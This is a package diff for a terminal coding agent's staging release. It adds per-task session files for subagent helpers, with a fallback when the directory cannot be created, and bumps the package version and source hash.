|
572
|
+
try {
|
|
573
|
+
fs.mkdirSync(dir, { recursive: true });
|
|
574
|
+
return dir;
|
|
575
|
+
}
|
|
576
|
+
catch {
|
|
577
|
+
logEvent({ source: "subagent", level: "warn", event: "helper_sessions_dir_unwritable" });
|
|
578
|
+
return null;
|
|
579
|
+
}
|
|
580
|
+
}
|
|
566
581
|
export function makeSubagentTool(deps = {}) {
|
|
567
582
|
// The default runner rides the /go pipeline's resilience wrapper, so a chat
|
|
568
583
|
// subagent gets the same idle ceiling and transient-only retry as a /go
|
|
@@ -666,6 +681,9 @@ export function makeSubagentTool(deps = {}) {
|
|
|
666
681
|
}
|
|
667
682
|
const cwd = ctx?.cwd ?? process.cwd();
|
|
668
683
|
const agents = discover({ cwd, homeDir: deps.homeDir, env: deps.env });
|
|
684
|
+
// A session-lane turn's helpers each keep their own conversation there
|
|
685
|
+
// (`helperSessions.ts`); a folder that cannot be made keeps none, as before.
|
|
686
|
+
const helpersDir = usableHelpersDir(deps.env ?? process.env);
|
|
669
687
|
const resolved = [];
|
|
670
688
|
for (const req of requested) {
|
|
671
689
|
// A tasks[] entry names its own agent first; absent that, it inherits
|
|
@@ -743,6 +761,20 @@ export function makeSubagentTool(deps = {}) {
|
|
|
743
761
|
if (applyChildEvent(progress, ev))
|
|
744
762
|
emit();
|
|
745
763
|
},
|
|
764
|
+
// Each try its own file, named by this call, this task and the
|
|
765
|
+
// try; the tool result records every file the task used.
|
|
766
|
+
...(helpersDir
|
|
767
|
+
? {
|
|
768
|
+
sessionFileFor: (tryNo) => {
|
|
769
|
+
const file = helperSessionFile(helpersDir, `subagent-${toolCallId}-${index}`, tryNo);
|
|
770
|
+
progress.sessionFiles = [
|
|
771
|
+
...(progress.sessionFiles ?? []),
|
|
772
|
+
helperSessionName(file),
|
|
773
|
+
];
|
|
774
|
+
return file;
|
|
775
|
+
},
|
|
776
|
+
}
|
|
777
|
+
: {}),
|
|
746
778
|
});
|
|
747
779
|
finalizeTask(progress, result, Date.now());
|
|
748
780
|
// Record the child's spend into the session accumulator so the
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@yagni-app/code-staging",
|
|
3
|
-
"version": "1.2.14-staging.
|
|
3
|
+
"version": "1.2.14-staging.2372.1",
|
|
4
4
|
"description": "YAGNI Code: a terminal coding agent that already knows your company. One YAGNI login routes the model and grounds the agent in your team's context.",
|
|
5
5
|
"license": "SEE LICENSE IN LICENSE.md",
|
|
6
6
|
"author": "YAGNI, Inc. <jack@yagni.app> (https://yagni.app)",
|
|
@@ -58,5 +58,5 @@
|
|
|
58
58
|
"turndown": "^7.2.4",
|
|
59
59
|
"typebox": "^1.3.15"
|
|
60
60
|
},
|
|
61
|
-
"yagniSourceSha": "
|
|
61
|
+
"yagniSourceSha": "dce9a4d30894ab4199916b863542ab5d2e761fc5"
|
|
62
62
|
}
|